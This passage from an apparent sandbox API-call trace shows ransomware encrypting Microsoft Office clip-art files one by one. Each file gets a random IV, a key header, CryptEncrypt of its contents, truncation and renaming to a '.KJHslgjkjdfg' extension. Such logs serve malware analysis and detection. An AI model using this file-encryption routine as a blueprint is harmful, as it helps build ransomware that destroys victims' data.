(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.kjhslgjkjdfg")) returned 1 [0201.098] CloseHandle (hObject=0x130) returned 1 [0201.098] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0201.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.099] GetProcessHeap () returned 0x2ef0000 [0201.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.099] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.099] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.132] GetProcessHeap () returned 0x2ef0000 [0201.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.133] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.133] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.133] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c8c, lpOverlapped=0x0) returned 1 [0201.135] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c90) returned 1 [0201.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c90, lpOverlapped=0x0) returned 1 [0201.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.136] SetEndOfFile (hFile=0x130) returned 1 [0201.137] GetProcessHeap () returned 0x2ef0000 [0201.137] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.137] GetProcessHeap () returned 0x2ef0000 [0201.137] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.kjhslgjkjdfg")) returned 1 [0201.139] CloseHandle (hObject=0x130) returned 1 [0201.139] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0201.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.140] GetProcessHeap () returned 0x2ef0000 [0201.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.141] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.141] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.143] GetProcessHeap () returned 0x2ef0000 [0201.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.144] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2fac, lpOverlapped=0x0) returned 1 [0201.148] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fb0, dwBufLen=0x2fb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2fb0) returned 1 [0201.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.148] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2fb0, lpOverlapped=0x0) returned 1 [0201.148] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.148] SetEndOfFile (hFile=0x130) returned 1 [0201.151] GetProcessHeap () returned 0x2ef0000 [0201.151] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.151] GetProcessHeap () returned 0x2ef0000 [0201.151] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.kjhslgjkjdfg")) returned 1 [0201.152] CloseHandle (hObject=0x130) returned 1 [0201.153] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0201.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.154] GetProcessHeap () returned 0x2ef0000 [0201.154] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.154] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.155] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.189] GetProcessHeap () returned 0x2ef0000 [0201.189] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.190] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.190] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x36b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x36b8, lpOverlapped=0x0) returned 1 [0201.191] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36c0, dwBufLen=0x36c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x36c0) returned 1 [0201.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.191] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x36c0, lpOverlapped=0x0) returned 1 [0201.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.192] SetEndOfFile (hFile=0x130) returned 1 [0201.194] GetProcessHeap () returned 0x2ef0000 [0201.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.194] GetProcessHeap () returned 0x2ef0000 [0201.194] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.kjhslgjkjdfg")) returned 1 [0201.196] CloseHandle (hObject=0x130) returned 1 [0201.196] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0201.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.197] GetProcessHeap () returned 0x2ef0000 [0201.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.199] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.199] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.199] GetProcessHeap () returned 0x2ef0000 [0201.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.199] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.200] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.200] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f0c, lpOverlapped=0x0) returned 1 [0201.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f10, dwBufLen=0x1f10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f10) returned 1 [0201.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.201] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f10, lpOverlapped=0x0) returned 1 [0201.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.202] SetEndOfFile (hFile=0x130) returned 1 [0201.204] GetProcessHeap () returned 0x2ef0000 [0201.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.204] GetProcessHeap () returned 0x2ef0000 [0201.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.kjhslgjkjdfg")) returned 1 [0201.206] CloseHandle (hObject=0x130) returned 1 [0201.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0201.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: 